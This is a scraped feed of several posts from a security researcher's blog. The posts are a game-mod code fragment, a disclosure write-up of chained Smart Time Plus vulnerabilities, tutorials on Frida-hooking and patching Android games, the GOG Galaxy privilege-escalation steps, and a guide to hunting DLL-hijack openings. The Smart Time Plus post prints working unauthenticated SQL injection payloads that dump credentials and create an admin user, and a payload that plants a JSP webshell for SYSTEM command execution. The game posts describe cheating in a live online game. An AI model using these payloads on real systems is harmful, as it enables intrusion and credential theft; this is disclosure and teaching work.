				std::regex heroLoadoutSlotLocker_pattern(R"(Hero:0:HeroItems:0:HeroLoadout:[0-4]:HeroLoadoutSlotLocker:[0-4])");


				std::list<Model*> itemsToDestroy;

				// get all HeroOffHandCutOff elements
				std::cout << "\n[*] Enumerate all child Elements of: " << il2cppi_to_string(myHeroID) << ":\n" << std::endl;
				std::list<Model*> heroOffHandCutOffItems = searchElement(heroModel, heroOffHandCutOff_pattern, true);

				itemsToDestroy.merge(heroOffHandCutOffItems);


				//Get all heroItems of Hero
				std::list<Model*> heroItems = searchElement(heroModel, heroItems_pattern);


				for (Model* heroItem : heroItems) {

					// get all heroLoadouts of heroItems
					std::list<Model*> heroLoadouts = searchElement(heroItem, heroLoadout_pattern);

					for (Model* heroLoadout : heroLoadouts) {
						// get all HeroLoadoutSlotLocker Items
						std::list<Model*> heroLoadoutSlotLockers = searchElement(heroLoadout, heroLoadoutSlotLocker_pattern, true);
						itemsToDestroy.merge(heroLoadoutSlotLockers);
					}
				}

				// Delete them
				std::cout << "\n\n[*] Start discarding objects:\n" << std::endl;
				for (Model* itemToDestroy : itemsToDestroy) {
		
					String* itemToDestroy_ID = Model_get_ID(itemToDestroy, const_cast<MethodInfo*>(mi_getID));
					Model_Discard(itemToDestroy, const_cast<MethodInfo*>(mi_discard));
					std::cout << "[*] Object: " << il2cppi_to_string(itemToDestroy_ID) << " discarded!" << std::endl;
				}
				std::cout << "\n\n[*] All Objects removed, you should have a second arm again :)" << std::endl;
			}
			else {
				std::cout << "[*] No Hero object found, first load a save game!" << std::endl;
			}

			Sleep(200);
		}

		Sleep(10);
	}
}


Inject and run the Mod

finally we only need to inject our DLL, I wrote a little injector so we don’t need to use a external tool.

You can find all of the code on Github.


Final Words

Since the developer has already released an update for the game, I would not recommend continuing to use this mod (however, the patch to activate the console should still work), as there may now be open quests or at least elements for quests that could cause problems when triggered. It was quite a lot of work, but also a really nice story to immerse myself in the world of Il2cpp and Awaken Space. 😄


Der Beitrag Tainted Grail – FoA – Unlock The Hidden Secrets erschien zuerst auf Secure77.

]]>
https://secure77.de/tainted-grail-foa-unlock-the-hidden-secrets/feed/ 0
Smart Time Plus RCE – CVE-2024-53543 https://secure77.de/smart-time-plus-rce-cve-2024-53543/ https://secure77.de/smart-time-plus-rce-cve-2024-53543/#respond Fri, 21 Feb 2025 16:04:24 +0000 https://secure77.de/?p=1657 The Software Smart Time Plus < 8.6 contains several vulnerabilities: which can be chained to achieve unauthenticated remote code execution as SYSTEM on the Windows host. Background and Research During a pentest I stumbled across the following web service on port 443: Smart Time Plus is a time tracking tool developed and published by the

Der Beitrag Smart Time Plus RCE – CVE-2024-53543 erschien zuerst auf Secure77.

]]>
The Software Smart Time Plus < 8.6 contains several vulnerabilities:

which can be chained to achieve unauthenticated remote code execution as SYSTEM on the Windows host.

Background and Research

During a pentest I stumbled across the following web service on port 443:

Smart Time Plus is a time tracking tool developed and published by the German company NovaCHRON Zeitsysteme GmbH & Co. KG. Its a windows application, with a windows binary (the client) but also comes with a web service which is based on Java and runs in its own Tomcat Service. For the data storage it uses a MySQL Database.


A quick research about the application combined with the keyword „vulnerabilities“ revealed that someone already put there hands on it: https://www.8com.de/cyber-security-blog/smarttimeplus-vulnerabilities-responsible-disclosure

Reading the article carefully, I got curies about the implemented GWT (Google Web Toolkit) technology and how it works. The article already contains some very useful links to other blog posts, so I will skip a closer explanation about GWT here.

However, the fact that the author of the article described that the disclosere process was „quite sluggish“ and some of the mentioned vulnerabilities are still not fixed, pushed me forward to take a closer look at this application. Maybe there is more to find…

Thankfully you can download a test version from the website: https://cd.smarttimeplus.com

After installing the software with default settings you get the following

  • SmartTimePlus Windows Binary (main.exe)
  • TomcatSTP Service (runs as SYSTEM)
  • MySQL Service (runs as SYSTEM)
  • NCServiceManger Service (runs as SYSTEM)

First of all I checked if the described password reset vulnerability of the 8com article still exists in the version 8.5 (which was the latest available version to download) and yes, this was not fully fixed and its already almost two years ago that this issue was reported. Interesting.


CVE-2024-53544

As the web application is a .war (Java) file, its pretty easy to take a closer look at it. First of all I was looking for some way to get into the web application.

Eventually I found a interesting method getCookieNames which uses direct user input from the POST request in the SQL query. The method is exposed in the endpoint /MySQLConnection and doesn’t check for any session cookie. So its possible to retrieve (unauthenticated) any data from the database, the only real exercise was to get the correct GWT syntax working, but with help of the other mentioned blog posts this wasn’t a blocker. With some background about the MySQL database (there was no root password) it`s pretty easy to get all juicy information like, usernames, hashes, session cookies, plain text SMTP credentials and so on.


Usernames and Passwords

7|0|6|http://192.168.178.146/smarttimeplus/|99F97D9159E5E5154B6415791EF65C43|com.novachron.smarttimeplus.client.DBConn|getCookieNames|java.lang.String/2004016611|999) UNION select CONCAT(user, ':', password) from password-- |1|2|3|4|1|5|6|

Current User Sessions

7|0|6|http://192.168.178.146/smarttimeplus/|99F97D9159E5E5154B6415791EF65C43|com.novachron.smarttimeplus.client.DBConn|getCookieNames|java.lang.String/2004016611|999) UNION select CONCAT(sid COLLATE latin1_swedish_ci, ":", user COLLATE latin1_swedish_ci) from ipsave-- |1|2|3|4|1|5|6|

General Options (SMTP Credentials)

7|0|6|http://192.168.178.146/smarttimeplus/|99F97D9159E5E5154B6415791EF65C43|com.novachron.smarttimeplus.client.DBConn|getCookieNames|java.lang.String/2004016611|999) UNION select CONCAT(id, ':', buffer) from generaloptions-- |1|2|3|4|1|5|6|

Well, this was already interesting, but in my case there was no admin user session in the target database and I wasn’t able to crack a admin user password too, so I decided to look further to get a way into the system.


CVE-2024-53543

After some more research I found the exposed method addProject which uses some INSERT statement combined with a user input and it doesn’t check for a cookie as well. This method was a jackpot, we are able to create new entries in the database without any authentication, so we can just create a new admin user. The hash is a MySQL hash (which is basically a double SHA-1 hash prefixed with an asterix (*) )

7|0|12|http://192.168.178.146/smarttimeplus/|99F97D9159E5E5154B6415791EF65C43|com.novachron.smarttimeplus.client.DBConn|addProject|java.lang.String/2004016611|java.lang.String/2004016611|java.lang.String/2004016611|java.lang.String/2004016611|x|0|x|password (rec_num, `user`, password, sgroup, persid, lang, enabled, access, emd, eod, `sdescribe`, `language`) VALUES (999, 'admin2', '*721AE3ED7D5723537BA36062D6AD7A43831900A1', 0, 1, 6, 'T', '0', '0', '0', ?, ?); -- |1|2|3|4|4|5|6|7|8|9|10|11|12|

With the new created user we can login to the system as admin. However, as we already have full database access, there is nothing more what we can do as admin user. I didn’t found any file upload functionality or something what can give me more capabilities.


CVE-2024-53542

When you take a look a the installation directory of the application, you can find the Tomcat folder and also the webapps folder C:\Program Files (x86)\NovaCHRON\smart time plus 8.5\Tomcat which reveals that there are other endpoints available.

The 404 just returns a static 404 page, so nothing special here, but iclock contains some interesting functionality. When you call the endpoint you will only get this information back.

However, it turned out, there is more. Besides some other curios functions (like changing the monitor brightness on the server via a powershell command 🤔 ) you are able to restart the NCServiceManger Service on the host. And guess what, all of this is also unauthenticated.

GET /iclock/Settings?restartNCS=1

DoS

Well, just restarting the service is not really helpful, however If you do it like (round about) 400 times in a row using a fuzzing tool, this will cause the Tomcat service to fail and the web application gets unavailable. Ok, this is funny (and also bad) but doesn’t help much.


RCE

The web app is using Tomcat and is directly communicating with the database. The windows binary also directly communicate with the MySQL database, but what is the intention of the NCServiceManger then? As always, reading the documentation helps: https://manual.smarttimeplus.com/v8/content/smart_time_p_o_8/ZeitauftragStarten.htm

As its in German I will summarize it: there are some kind of tasks which can be created and these will be executed by the NCServiceManger. A task itself contains only metadata like start time, interval and a link to some task definition, like a Backup Job, calculation and so on. By playing with the functions in the windows binary I figured out you can create a export definition and link it to a task. A export definition usually will export some tables to a file but you can also define header data and much more, and you are not limited to some specific path, filename or extension!

As all of these information are stored in the database we can simply chain CVE-2024-53543 to create a new export definition and task and restart the service via CVE-2024-53542. It is important to know that the NCServiceManger requires an active Smart Time Plus license to work properly and also must already be running, you cannot start the service via CVE-2024-53542 if its stopped.


Export Definition

As NCServiceManger runs under SYSTEM we are more or less unlimited to the file location, so there are a couple of ways to gain RCE. One of the easiest ways is just to write a JSP shell in the Tomcat WebRoot directory, this way we get a direct output of our commands.

7|0|12|http://192.168.178.146/smarttimeplus/|99F97D9159E5E5154B6415791EF65C43|com.novachron.smarttimeplus.client.DBConn|addProject|java.lang.String/2004016611|java.lang.String/2004016611|java.lang.String/2004016611|java.lang.String/2004016611|x|0|x|expmaskn (  code, name, pageformat, perperson, headertext, file, location, headerfile, sepfields, seplines, inmenu, askbefore, timezone, head, filtergrp, grpspec, field0, format0, header0) VALUES( 50, 'export_config', 1, 2, ?, 'webshell.jsp', 'C:/Program Files (x86)/NovaCHRON/smart time plus 8.5/Tomcat/webapps/ROOT/images/', '<FORM METHOD=GET ACTION="webshell.jsp"><INPUT name="cmd" type=text>
<INPUT type=submit value="Run">
</FORM>
<%@ page import="java.io.*" %>
<%
   String cmd = request.getParameter("cmd");
   String output = "";
   if(cmd != null) {
      String s = null;
      try {
         Process p = Runtime.getRuntime().exec(cmd,null,null);
         BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
         while((s = sI.readLine()) != null) { output += s+"</br>"; }
      }  catch(IOException e) {   e.printStackTrace();   }
   }
%>
<pre><%=output %></pre>', ';','<CR><LF>', 'T','F',?,'F',0,-1,5,'','Name') -- |1|2|3|4|4|5|6|7|8|9|10|11|12|

Time Task

After creating the export definition, we only need to create a task which runs every 2 minutes and executes our export definition.

7|0|12|http://192.168.178.146/smarttimeplus/|9F97D9159E5E5154B6415791EF65C43|com.novachron.smarttimeplus.client.DBConn|addProject|java.lang.String/2004016611|java.lang.String/2004016611|java.lang.String/2004016611|java.lang.String/2004016611|export|0|config|timetask ( code, name, fct, `time`, timeto, intervall, dest, dow) VALUES( 50,?,7,?,1439,2,'50', '1111111') -- |1|2|3|4|4|5|6|7|8|9|10|11|12|"

Restart the Service

Finally we only need to restart the service (using CVE-2024-53542) and wait a couple of minutes that our file is written.

And as Tomcat runns also as SYSTEM we are good to go 😊


POC

I created a little exploit script to automate the process, (the source code will be released later).

Miscellaneous

There are a couple of other vulnerabilities related to this software in the default installation setup. For example the application tells you if a user is available or not (when you enter a wrong password) or you can perform a local privilege escalation as the MySQL root user has no password configured.

I tested the following versions (both comes with the smart_time_plus_85_server.msi installer)

  • Web App: Version: 8.3 / Release 1.5.23 Build 001
  • Server / Client: Version 8.5 / Release 1.01 Build 1013


Fix

I retested only the SQL Injections but I can confirm that the mentioned methods are patched in the web app version 8.6. Also the MySQL Server is now secured by a password.

Its important to use the latest 8.6 install package, as there was also a 8.6 install package online, which contained a not fully patched web component (8.5 / Release: 1.1.0 Build 00)

So make sure you see this on the web app to have the patched version:


CVD – Coordinated Vulnerability Disclosure

Already aware about the possible response from the vendor I provided a detailed report containing all of this and more to the vendor in German. But I also got only limited feedback like „we will take a look at this“. Finally they told me „all is fixed“ in the version 8.6 but without providing me the version. At the time of notification to the provider, at least 45 systems were publicly available running a version below 8.6 or the older version 7 of it (which doesn’t contain the NCServiceManger but has a couple of more SQL injections) so I decided to involved the German BSI and after some back and forth the vendor finally provided a patched version 8.6.

Timeline

  • 11.10.2024 – First contact to the vendor about how to report vulnerabilities
  • 12.10.2024 – Reported the vulnerabilities to the vendor
  • 21.10.2024 – Asked for feedback, Response: they will look at it
  • 28.10.2024 – Again asked for any feedback
  • 29.10.2024 – Response: they will respond to me on 04.11.2024
  • 04.11.2024 – Response: All changes are now implemented and they are releasing version 8.6
  • 04.11.2024 – Asked: If I can get the version 8.6 to confirm the fixes –> no answer till yet
  • 08.11.2024 – Requested the CVE-IDs on Mitre
  • 03.12.2024 – Received the CVE-IDs
  • 09.12.2024 – Informed the vendor about the CVE-IDs and asked again about the version 8.6
  • 11.01.2025 – No answer from the vendor, but I found a 8.6 installer on their website
  • 11.01.2025 – This version was still vulnerable, containing a web component (8.5) with most of the mentioned vulnerabilities
  • 12.01.2025 – Reported the case to the BSI
  • 20.02.2025 – Latest response from BSI, that they got the info from the vendor that he fixed the vulnerabilities in 8.6 (8.6 R 1.01 B1017)
  • 21.02.2025 – The install package of 8.6 was updated on the website, now contains also a web component version 8.6 in which the vulnerabilities are fixed
  • 21.02.2025 – Retest and blog post publication, informed Mitre about CVE releases
-End-

Der Beitrag Smart Time Plus RCE – CVE-2024-53543 erschien zuerst auf Secure77.

]]>
https://secure77.de/smart-time-plus-rce-cve-2024-53543/feed/ 0
How to Patch a Android Unity Game https://secure77.de/how-to-patch-a-android-unity-game/ https://secure77.de/how-to-patch-a-android-unity-game/#respond Fri, 12 Jul 2024 19:32:45 +0000 https://secure77.de/?p=1631 This post is a follow-up of the How to mod a simple Android App post and heavily based on this great article https://hacking.kurcin.com/android/use-frida-to-controll-unity-app-il2cpp/ Background about this Project I chose a game that I know and that I played myself for a while, this helps to identify useful methods and properties where you want to hook

Der Beitrag How to Patch a Android Unity Game erschien zuerst auf Secure77.

]]>
This post is a follow-up of the How to mod a simple Android App post and heavily based on this great article https://hacking.kurcin.com/android/use-frida-to-controll-unity-app-il2cpp/

Background about this Project

I chose a game that I know and that I played myself for a while, this helps to identify useful methods and properties where you want to hook into. As this Game is currently online and active played, I decided to not publish the name of the game to prevent cheating.

Requirements

I used a rooted physical android device with a running frida-server as root. Emulators may won’t work (based on the architecture and different .so loads) and also patching the app with objection will maybe not work.

Decompilation

First, we can confirm that the APK is really using the Unity engine by checking the entry point.

It’s very common that Unity games using this method as main activity com.unity3d.player.UnityPlayerActivity

Next we are going to decompile the app (using the APK Tool Gui) and extract the libil2cpp.so we will find this file in lib\arm64-v8a folder. We also need the global-metadata.dat which we can find at assets\bin\Data\Managed\Metadata

Now we want to decompile the libil2cpp.so to find the definitions and offsets. For this we are going to use the Il2CppInspector (https://github.com/djkaty/Il2CppInspector)

as our App is using a UnitEngine Version 29 we need to use a custom build for this: https://github.com/ElCapor/Il2CppInspector/releases/tag/2021.2

We can drag and drop both files (libil2cpp.so and global-metadata.dat) into the Gui to start the decompiling.

We are using File per assembly and select all for our export

You can also drag and drop the APK directly to tool, so you don’t need to decompile it by yourself

Depending on your target device you may want to choose another image

Investigation

After exporting the c# files we can start to investigate. Usually the created Assembly-CSharp.cs is a good start, as this is the namespace where most of the calls will come from.

This part takes a lot of analyze, searching and code reading, your goal should be to find a method name which you can associate with something in the game. For example: if your game involves some fishing or you can gain experience, search for methods or properties which contains words like fishing or experience. It is also recommended to search for a method which you can trigger in your game on demand, e.g. random drop is probably not a good starting method. You also want to search over all your exported files to find the correct namespace.

In my project I found some interesting method with the name AddHeroIsFishingMarkerToHero which I could assume will be called as soon I start fishing in my app

We are interested in the offset address of this method

Hooking

Now its time to jump over to frida and start to hook into this function. I used this create template from the page mentioned at the beginning of this post.

function awaitForIL2CPPLoad(callback) {
    var i = setInterval(function () {
        var addr = Module.findBaseAddress('libil2cpp.so');
        if (addr) {
            clearInterval(i);
            callback(+addr)
        }
    }, 0);
}

var il2cpp = null;

Java.perform(function () {
    awaitForIL2CPPLoad(function (base) {
        il2cpp = ptr(base)
        console.log("base: " + base)
        attachHacks()
    })
})

// AddHeroIsFishingMarkerToHero in the Game.ECS.cs
var startFishingAddress = 0x00D0B410

    Interceptor.attach(il2cpp.add(startFishingAddress), {
        onEnter: function (args) {
            // On enter function
            this.instance = args[0];
        },
        onLeave: function (resoult) {
            // On enter function   
            console.log("start fishing...")      
        }
    })

We are launching the game with frida and our script.

 frida -U -l .\hack.js -f <target-app>

As soon we start „fishing“ in our game we can see our print statement in the console log 🎉

This means we are on the correct path, next we want to try some more useful stuff by changing values. For this I was looking for some speed changing values and finally found a get property

Overwrite Return Values

If we attach our Interceptor to this property, we can see that it will be called like every second, this means some other class or method will use it to ask for the current movement speed. To investigate in a more clean way, we will save the value and only print it if we start fishing, this way we prevent spawning our terminal with log messages.

[snip]

var currentMovementSpeed

    Interceptor.attach(il2cpp.add(movementSpeed), {
        onEnter: function (args) {
            // On enter function
            this.instance = args[0];
        },
        onLeave: function (resoult) {
           currentMovementSpeed = ptr(resoult.toString())
        }
    })

    Interceptor.attach(il2cpp.add(startFishingAddress), {
        onEnter: function (args) {
            // On enter function
            this.instance = args[0];
        },
        onLeave: function (resoult) {
            // On enter function   
            console.log("start fishing...")
            console.log("current movement speed: " + currentMovementSpeed) 
        }
    })

as we can see, the return value is 0x3ff999999999999a. the GUI of the app tells us that the speed value is currently at Level 16. If we play a little bit an level up our speed to level 17 we will get the following movement speed 0x3ffb333333333333 and for level 18 we will get 0x3ffccccccccccccd. If we take a look at the first to bytes we can see the value change:

0x3ff9 = 16377
0x3ffb = 16379
0x3ffc = 16380

It seems the level ups will change the movement speed by 1 or 2 (maybe higher levels will change the speed even more). But lets try to increase the first 2 bytes to something higher.

With frida its also possible to overwrite the return value. I am not sure how the rest of the return values need to be formatted but we just change to increase the speed by 20, so we take the value 16400 = 0x4010 and ad some random bytes so our final value will be this 0x401099999999999a

Interceptor.attach(il2cpp.add(movementSpeed), {
        onEnter: function (args) {
            // On enter function
            this.instance = args[0];
        },
        onLeave: function (resoult) {
	        // movementspeed + 20
           resoult.replace(0x401099999999999a)
           currentMovementSpeed = ptr(resoult).toString()
        }
    })

We can’t see the level update in our GUI, but we can recognize that we are moving much faster now. Of course, this hack is not persistent, as it only works until Frida is running and overwriting this function. As soon we restart our game the movement speed is the original one.

So let’s try to figure out if we find something which has some lasting impact.

Overwrite Method Parameters

Instead of changing the return value of getter methods, we can try to find some methods which increase something permanently. By looking at the code, I found the method which is called by add an item (like gems or coins)

Here we can see that the AddAmount method is called with a simple BigDouble parameter. Frida offers a really useful function to print all parameters and register in Json format, when our target function get called

    Interceptor.attach(il2cpp.add(currencies), {
        onEnter: function (args) {
            // On enter function
            this.instance = args[0];
            console.log('Context information:');
            console.log('Context  : ' + JSON.stringify(this.context));
        },
        onLeave: function (resoult) {

            console.log("Currency added!)            
        }
    })

we can see at x1 the value 0x4000000000000000

    "pc": "0x7b050a65e4",
    "sp": "0x7b03de4000",
    "nzcv": 1610612736,
    "x0": "0x79e05d1300",
    "x1": "0x4000000000000000"

with further tracking I figured out how the values are stored:

0x4000000000000000 = 1 item
0x4010000000000000 = 2 items
0x4018000000000000 = 3 items
0x4020000000000000 = 4 items

This means we can increase our collect item amount (x * 8) to whatever we want if we overwrite the parameter

    Interceptor.attach(il2cpp.add(currencies), {
        onEnter: function (args) {
            // On enter function
            this.instance = args[0];
            args[1] = ptr(0x4100000000000000)
        },
        onLeave: function (resoult) {

            console.log("Currency added!)            
        }
    })

And indeed, as soon we collect something in our game we can see that we now get a huge amount of items. As this is „add“ action, this will be stored to our character and also be saved. So this will be persistent also after a game restart without frida.

I found several other methods which lead to some significant game changes:

  • catchingSpeed
  • currentCargo
  • rodsCount
  • addExp

look for methods which return (or take) a bool, string or number as value, manipulating these values is much easier then manipulate something like a struct, dictionary or object

Patch the Game

Even if we hook with frida in some function who change our game progress, our save-game is only stored on our rooted device.
To store our changes into the APK we need to mod the .so file.

This is the cherry on the cake, for my project I chose the get property method which will change my current movement speed.

irst, we should check with Frida what the return value of this method is and overwrite until we have our desired value. In my case 0x400099999999999a was the default value and 0x405099999999999a was a good amount to move fast enough in the game.

Next, we want to write a return function in armv8 (which is the 64bit version of arm). The easiest way is to use an online Code to ARM compiler like https://godbolt.org/
Now we just write a simple function which will return our value, as this is a very big number we need to select a long function. Also we need to select a armv8 compiler

        mov     x0, #-7378697629483820647
        movk    x0, #39322
        movk    x0, #16464, lsl #48
        ret

As we can see, the compiler translate our code into nice arm assembly code, which we now only need to convert into hex, for this we can use this online compiler: https://shell-storm.org/online/Online-Assembler-and-Disassembler/

Replace some instructions

Now we only need to replace our target function with our. For this we can use a hex editor, open the libil2cpp.so and jump to our offset 0x00C82B6C (Ctrl + g in HxD), select the next 16 bytes and overwrite these with our function

e0 e7 01 b2 40 33 93 f2 00 0a e8 f2 c0 03 5f d6

finally, we will save the file (delete .bak from the lib folder) and recompile the APP

If everything was correct, we can now install the app on every device and our movement speed should be fine 😎

With Frida we can confirm if our return value is patched.

    Interceptor.attach(il2cpp.add(movementSpeed), {
        onEnter: function (args) {
            // On enter function
            this.instance = args[0];
        },
        onLeave: function (resoult) {
          console.log(resoult);
        }
    })

To make this working on x86 devices also, we need to adjust the libil2cpp.so in the armeabi-v7a folder, retrieve the offsets again from this file and also write a ARMv7 assembly function and (maybe) adjust the return value

Der Beitrag How to Patch a Android Unity Game erschien zuerst auf Secure77.

]]>
https://secure77.de/how-to-patch-a-android-unity-game/feed/ 0
How to mod a simple Android App https://secure77.de/how-to-mod-a-simple-android-app/ https://secure77.de/how-to-mod-a-simple-android-app/#respond Fri, 07 Jun 2024 13:09:36 +0000 https://secure77.de/?p=1602 Background about this Project This post is about how to reverse and modify the simple Android Dice Roller! app. The app was randomly chosen by me, I wanted to start with something simple, so: Before you start always check, if you can decompile, compile, sign, install and lunch the app, some apps wont run with

Der Beitrag How to mod a simple Android App erschien zuerst auf Secure77.

]]>

Background about this Project

This post is about how to reverse and modify the simple Android Dice Roller! app.

The app was randomly chosen by me, I wanted to start with something simple, so:

  • there are no signature checks in place
  • there is no packed library involved

Before you start

always check, if you can decompile, compile, sign, install and lunch the app, some apps wont run with a changed signature, even if you don’t change anything

The app roles one or more dices and display the user a random result. I wanted to try if I can manipulate this.

How to start

First, we download our target APK from an external play store source: https://apkcombo.com/de/dice/com.harryfo.dice/

We can also extract installed apps from our device, but this will sometimes result in split apps, which involves a few more steps (you need to sign them too)

Find the entry Point

We start with some static analyses and try to find the main activity by open the APK in Jadx-Gui and checking the AndroidManifest.xml for the main activity

As we can see, it loads the class MainActivity in the com.harryfo.dice namespace. So lets investigate this activity

We can see that method just calls a loadUrl function, which seems a little bit weird in the first moment.

Setup for dynamic Analyses

So its time to perform some dynamic analyses and check if we can figure out what URL the app is calling. For this we are using a Android Emulator and Frida.


There are a few things which we need to setup, take a look at Firda Setup. As Emulator, we are using LDPlayer, make sure to enable ADB and root in the Emulator.

Make sure you have the Frida server running, next we are going to connect to the Frida server, retrieve the Emulator ID and the dice package name

adb devices
adb shell "pm list packages | grep dice"

Connect to it and spawn the dice application

frida -D emulator-5554 -f com.harryfo.dice

The application should now be started on your emulator.

Trace the action

Next we want to trace our spotted method, for this we can use frida-trace

frida-trace -U -j '*!loadUrl' -f com.harryfo.dice

The application will start and we can see that the application is calling a index.html on localhost.

Find the target

We will switch back to our source code and search for the index.html

As we can see, there is a index.html in the resource/asset/www folder

This is exactly what our application looks like, so it seems the app just loads a website and performs all actions in HTML/JS. By looking further in the source code we can find that the page is loading a index.js

If we look at this JS file we can see, that here the dice rolling will be done, after some more JS code investigation we can find our target function which seems to calculate our dice result.

Now as we know what we need to modify, it’s time to patch our application

Decompile the APK

There are many different ways to do this, one of the simplest is to use the APKTool-Gui, so we just need to give them the path to our target apk and hit „Decompile“

This will give us a folder, where we can find our index.js \Dice_1.4.5_apkcombo.com\assets\www\js\index.js

I modified the line that the role will always give as a 6 and also added a little signature into the app

Compile and Install

Next we only need to hit the „Compile“ Button in the APK Tool, this will give use Dice_1.4.5_apkcombo.com signed.apk which we can install by drag and drop to our emulator.
After clicking the dice, we can notice that we will always get some sixes.

In the settings, we can turn on the „show total“ option

and we can see our final result

Bonus: Hooking

With Frida it is also possible to overwrite methods and values on the fly, without recompiling the app. As this app only loads a website, we can try to overwrite the loading site.

For this we need to write a little Frida script which overwrites the loadURL method of the class org.apache.cordova.CordovaActivity to use our desired value

Java.perform(function() {

    var webView = Java.use("org.apache.cordova.CordovaActivity");
    webView.loadUrl.overload("java.lang.String").implementation = function(url) {

        var file_path = 'https://secure77.de/index.html'; // path to file to load on webview
        this.loadUrl.overload("java.lang.String").call(this, file_path);

    }
});

we can then use Frida and start the app with our script, and load our defined website

frida -D emulator-5554 -l .\url.js -f com.harryfo.dice

Outro

This was pretty simple, in my next post I will write about how to patch a unity game.

Der Beitrag How to mod a simple Android App erschien zuerst auf Secure77.

]]>
https://secure77.de/how-to-mod-a-simple-android-app/feed/ 0
GOG Galaxy – CVE-2022-31262 https://secure77.de/gog-galaxy-cve-2022-31262/ https://secure77.de/gog-galaxy-cve-2022-31262/#respond Thu, 11 Aug 2022 19:55:47 +0000 https://secure77.de/?p=1360 With my researches, described on my other post Hunting for LPEs in Gaming Software. I was curious about GOG services which run as Local System. I installed GOG on a „fresh“ Windows 11 and Windows 10 system and focused again to the Service „GalaxCommunication“. As we can see the Service is still running with SYSTEM

Der Beitrag GOG Galaxy – CVE-2022-31262 erschien zuerst auf Secure77.

]]>

With my researches, described on my other post Hunting for LPEs in Gaming Software. I was curious about GOG services which run as Local System. I installed GOG on a „fresh“ Windows 11 and Windows 10 system and focused again to the Service „GalaxCommunication“. As we can see the Service is still running with SYSTEM privileges. tested GOG Versions: 2.0.46 from Februar, 16th 2022 (found exploit) – 2.0.51 from June, 2022 (still exploitable)

I figured out, that the access to the „C:\ProgramData\GOG.com\Galaxy\redists“ folder is restricted, so a normal user cant write to this location.

But interesting is the fact, that the user who has installed GOG still have full (owner) permissions to the parent folders „Galaxy“ and „GOG.com“. Of course for the installation of GOG you need elevated permissions, but the folder permissions doesn’t belog to that elevated user, they belong to the current user, elevated or not.

As example: I have the user „testuser“ who has no administrativ permissions and the user „admin“ who belongs to the local administrators. When you install GOG as the testuser you need to provide the password from an administrator like the user admin. That is ok and intended but as mentioned before, after the installation our testuser is the owner of the Galaxy and GOG.com folders.

But why is this a problem? Well, first I thought, as owner from a folder I should be able to overwrite the subfolders with my own permissions, but this is not possible. As soon you will try this, you will receive the following error message for folders and files were you don`t have permissions to


Bypass the Restriction

But what we can do is to rename the hole parent folder, and what we also can do is to create a new folder with the same name and a subfolder redists in it. And now we are able to write to „C:\ProgramData\GOG.com\Galaxy\redists“!


The Exploit

So the exploit steps are fairly easy

  1. Rename „C:\ProgramData\GOG.com\Galaxy“ to „C:\ProgramData\GOG.com\Galaxy_orig“
  2. Create a new folder „C:\ProgramData\GOG.com\Galaxy“
  3. Create a new folder „C:\ProgramData\GOG.com\Galaxy\redists“
  4. Store your payload as „C:\ProgramData\GOG.com\Galaxy\redists\GalaxyCommunication.exe“
  5. Start the service

The service start will fail but your payload will be executed as system

The final exploit can be found here: https://github.com/secure-77/CVE-2022-31262

I created a simple PowerShell script which handles the copy and restore process and a c++ executable that spawns a system shell to the current user session.


POC


Disclosure Timeline

  • Reported to GOG Support on 09.04.2022
  • Get confirmation about the finding from GOG on 19.05.2022
  • Requested CVE-2022-31262 on 22.05.2022
  • Asked about any fix or informaiton on 18.07.2022
  • No further information or fix was provided by vendor
  • Latest Version 2.0.51 is still vulnerable on 11.08.2022
  • Published the POC and CVE-2022-31262 on 11.08.2022

Der Beitrag GOG Galaxy – CVE-2022-31262 erschien zuerst auf Secure77.

]]>
https://secure77.de/gog-galaxy-cve-2022-31262/feed/ 0
Hunting for LPEs in Gaming Software https://secure77.de/hunting-for-lpes-in-gaming-software/ https://secure77.de/hunting-for-lpes-in-gaming-software/#respond Tue, 09 Aug 2022 22:44:00 +0000 https://secure77.de/?p=1334 Recently I started to dive deeper into the topic „LPE on Windows“, obviously one of the first things you will learn is to look what runs as system and does it load anything were you have write access to. The Theory I started my learning with some very educating sources about DLL Ghosting and Sideloading.

Der Beitrag Hunting for LPEs in Gaming Software erschien zuerst auf Secure77.

]]>
Recently I started to dive deeper into the topic „LPE on Windows“, obviously one of the first things you will learn is to look what runs as system and does it load anything were you have write access to.

The Theory

I started my learning with some very educating sources about DLL Ghosting and Sideloading. In the end the goal is the same, you want to provide a malicious DLL to a privileged process and either this:

  • DLL already exists and you can overwrite it, or this
  • DLL exists but you can place your DLL at a location wich is prioritized, or this
  • DLL does not exist and you can write at a location where the process is looking for it

A way better description of this process is described on this page: https://itm4n.github.io/windows-dll-hijacking-clarified/

For my research I used the tool: Procmon from Sysinternals. I setup some filters, let it run for some hours and I quickly realized that the output is huge, too huge. There are so many calls that are running as System and accessing my file system that it would took days to check every location by hand, if I can place something there. I decided to wrote a little PowerShell script, which can parse the output of Procmon and check every location if the current user has write access to it or not. You can find the project here: PSAccessFinder

This pushed my process of hunting to another level, the idea is: just run Procmon for hours, export the Log and parse it with PSAccessFinder and you will retrieve locations that are accessed by a higher privileged process and you have write access to. If you wonder what filter you should set and how this process looks like in a actual case, check this great post about a LPE finding in the Asus Amoury Crate service.

Well, if you start doing this by your own, you will quickly notice, that not every „CreateFile“ call in Procmon leads to an effektiv load of you placed DLL. There are many calls that just checks for attributes, permissions, if the file exists and so on. What you are really looking for is „LoadLibraryA“ and „LoadLibraryExW“ calls. This means, a DLL is dynamic linked and loaded by the application and you can use the „DLL_PROCESS_ATTACH“ call in your DLL to execute commands. Unfortunately , these calls are only visible in the stack and (at least I don´t know how) you can’t filter for them, so there is still some manual analyses to do.

Enough theory, lets start to investigate what runs on my pc 🙂

Analyses

I love playing computer games, although I haven’t much time for this I still have all of these Software installed on my PC and from time to time I find some gaps to play something.

So lets start Procmon with the following filters.

There are still a lot of results over time, but this is where my script PSAcessFinder comes in, so don’t worry about the amount of events right now.

Tip: To speed up the amount of calls it is a good idea to start some applications, best one are these, who have also services installed. Especially application updates are always a good trigger because they are often have a service and these run as local system, because they need write access to places where a normal user does’t have permissions to. So lets go and trigger some updates! 🙂

After (how ever, how long you want to wait) stop the capturing and export the events as csv. But don´t close Procmon! We will need the actual capture for further investigation later on!

Now its time to check the locations for write access, start findWriteAccess.ps1 with the inputCSV parameter, pointing to your exported Logfile.

PS C:\>.\findWriteAccess.ps1 -inputCSV .\Logfile.CSV

try to parse csv and remove duplicates...

starting search for write access in 86 locations... 


found some folders, happy hunting :)

Process             AcessTo  FullPath                                                      Acess                 Rights
-------             -------  --------                                                      -----                 ------
